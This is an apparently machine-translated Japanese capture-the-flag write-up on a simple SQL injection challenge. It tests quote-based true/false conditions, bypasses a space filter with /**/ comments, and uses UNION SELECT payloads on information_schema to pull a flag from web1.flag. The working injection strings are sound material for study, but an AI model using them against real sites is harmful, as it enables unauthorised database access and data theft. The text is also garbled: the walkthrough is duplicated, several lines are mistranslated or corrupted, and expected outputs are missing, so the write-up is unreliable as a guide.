いわゆる SQL インジェクションとは、Web フォームの送信に SQL コマンドを挿入したり、ページ リクエストのドメイン名やクエリ文字列を入力したりして、最終的にサーバーをだまして悪意のある SQL コマンドを実行させることです。次に、簡単な SQL インジェクションを共有します。一緒に見てみましょう
いわゆる SQL インジェクションとは、Web フォームの送信に SQL コマンドを挿入したり、ドメイン名やページ リクエストのクエリ文字列を入力したりして、最終的にサーバーを騙すことです。悪意のある SQL オーダーを実行します。具体的には、既存のアプリケーションを使用して、(悪意のある) SQL コマンドをバックエンド データベース エンジンに挿入して実行する機能であり、Web フォームに (悪意のある) SQL ステートメントを入力することで、セキュリティ上の脆弱性のある Web サイト上の情報を取得できます。設計者が意図したとおりに SQL ステートメントを実行するよりも、たとえば、以前の多くの映画やテレビの Web サイトでは、主に WEB フォームを通じてクエリ文字を送信することによって VIP メンバーシップのパスワードが漏洩していました。このようなフォームは SQL インジェクション攻撃に対して特に脆弱です。
それぞれ 1、2、および 3 を入力すると、対応する結果が表示されます
' を使用するとエラーが報告されるため、
よく使用される SQL ステートメントを構築します: 1' および '1'='1
応答がありません 試してみてください 1' と '1'='2 を試してください
まだ応答がありません、ツールチップ、何かをフィルタリングしているはずです、SQL ステートメントを変更してみてください
1and1=1
スペースがフィルタリングされていると判断した後、/**/ スペースを置換するには 1'/* を試してください*/'1'='1
結果が見つかりました:
そこで SQL ステートメントを作成しました:
どのデータベースがあるかを判断します:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
どのようなデータがあるかを確認しますテーブルは次のとおりです:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
flag テーブルが見つかりました。これは web1 データベースにあるはずで、フィールドは flag (実際にはこのページのデータベース内にあるはずです) です
つまり:
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
私も多くの偉い人のwpを参考にしましたので、書いた後に間違いを指摘していただければ幸いです。
ページのプロンプトによると、具体的には何がフィルタリングされていますか?何がフィルタリングされているかを知ることができます...
それぞれ 1、2、および 3 を入力すると、対応する結果が表示されます
' を使用するとエラーが報告されるため、
よく使用される SQL ステートメントを構築します: 1' と'1'='1
応答なし 試してみてください 1' と '1'='2
まだ応答がありません、ツールチップ、何かをフィルタリングしているはずです、SQL ステートメントを変更してみてください
1and1=1
は、スペースがフィルタリングされているかどうかを判断するには、 /* を使用します。*/そして/**&*&*/'1'='1
を使用して結果を見つけます:
それで SQL ステートメントを構築します:
どのデータベースが存在するかを確認します:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
つまり:
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
以上がSQLインジェクションに関連する簡単な例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。